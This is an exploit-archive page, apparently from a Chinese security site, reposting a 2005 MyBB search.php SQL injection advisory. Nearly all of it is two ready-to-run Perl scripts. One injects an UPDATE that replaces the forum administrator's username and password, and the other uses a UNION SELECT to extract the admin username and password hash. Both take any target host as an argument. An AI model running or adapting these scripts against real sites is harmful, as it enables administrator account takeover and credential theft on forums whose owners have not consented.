首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MyBB finduser Search SQL Injection
来源:Crouz Security Team 作者:Alpha 发布时间:2005-08-22  

MyBB finduser Search SQL Injection (Exploits)

Summary
The following two exploits, exploit a vulnerability in MyBB's finduser searching functionality, one will try to add a user named crouz with administrative privileges to the system, while the other will grab the first available administrative username and dump his hashed password.

Credit:
The information has been provided by Alpha Programmer and Devil-00.

Details
Exploits #1:
#!/usr/bin/perl
###########################################
# Crouz.Com Security Team #
###########################################
# EXPLOIT FOR: MyBulletinBoard Search.PHP SQL Injection Vulnerability #
# #
#Expl0it By: A l p h a _ P r o g r a m m e r (sirius) #
#Email: Alpha_Programmer@LinuxMail.ORG #
# #
#This Xpl Change Admin's Pass For L0gin With P0wer User #
# #
#HACKERS PAL & Devil-00 & ABDUCTER are credited with the discovery of this vuln #
# #
###########################################
# GR33tz T0 ==> mh_p0rtal -- Dr-CephaleX -- The-Cephexin -- Djay_Agoustinno #
# No_Face_King -- Behzad185 -- Autumn_Love6(Hey Man You Are Singular) #
# #
# Special Lamerz : Hoormazd & imm02tal :P ++ xshabgardx #
###########################################
use IO::Socket;

if (@ARGV < 2)
{
print "\n==========================================\n";
print " \n -- Exploit By Alpha Programmer(sirius) --\n\n";
print " Crouz Security Team \n\n";
print " Usage: <T4rg3t> <DIR>\n\n";
print "==========================================\n\n";
print "Examples:\n\n";
print " Mybb.pl www.Site.com /mybb/ \n";
exit();
}

my $host = $ARGV[0];
my $dir = $ARGV[1];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "C0nn3cted\n";

$http = "GET $dir/search.php?action=finduser&uid=-1' ; update mybb_users set username='da05581c9137f901f4fa4da5a958c273' , password='da05581c9137f901f4fa4da5a958c273' where usergroup=4 and uid=1 HTTP/1.0\n";
$http .= "Host: $host\n\n\n\n";


print "\n";
print $remote $http;
print "Wait For Changing Password ...\n";
sleep(10);

print "OK , Now Login With :\n";
print "Username: crouz\n";
print "Password: crouz\n\n";
print "Enjoy ;)\n\n";

Exploits #2:
#!/usr/bin/perl -w
use LWP::Simple;
if(!$ARGV[0] or !$ARGV[1] or !$ARGV[2]){
print "#########[ MyBB SQL-Injection ]##############\n";
print "# Coded By Devil-00 [ sTranger-killer ] #\n";
print "# Exmp:- mybb.pl www.victem.com mybb 0 0 || To Get Search ID #\n";
print "# Exmp:- mybb.pl www.victem.com mybb searchid 1 || To Get MD5 Hash #\n";
print "# Thnx For [ Xion - HACKERS PAL - ABDUCTER ] #\n";
print "######################### #########\n";
exit;
}

my $host = 'http://'.$ARGV[0];
my $searchid = $ARGV[2];

if($ARGV[3] eq 0){
print "[*] Trying $host\n";

$url = "/".$ARGV[1]."/search.php?action=finduser&uid=-1' UNION SELECT uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,ui d,uid,uid,username,password FROM mybb_users where usergroup=4 and uid=1/*";
$page = get($host.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $host\n";
$page =~ m/<a href="search\.php\?action=results&sid=(.*?)&sortby=&order=">/ && print "[+] Search ID To Use : $1\n";
exit;
}else{

print "[*] Trying $host\n";

$url = "/".$ARGV[1]."/search.php?action=results&sid=$searchid&sortby=&order=";
$page = get($host.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $host\n";

$page =~ m/<a href="member\.php\?action=profile&\;uid=1">(.*?)<\/a>/ && print "[+] User ID is: $1\n";
print "[-] Unable to retrieve User ID\n" if(!$1);

$page =~ m/<a href="forumdisplay\.php\?fid=1">(.*?)<\/a>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sun Solaris printd Daemon Remo
·Electronic Mail for UNIX (Elm)
·ShixxNote Buffer Overflow
·Raising The Bar For Windows Ro
·The Lizard Cart CMS version 1.
·Open DC hub Buffer Overflow
·Windows XP/2003 Picture and Fa
·WinAce Temporary File Handling
·WinRAR Buffer Overflow Vulnera
·GTChat Remote Denial Of Servic
·Valdersoft Shopping Cart versi
·Ventrilo Denial of Service
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved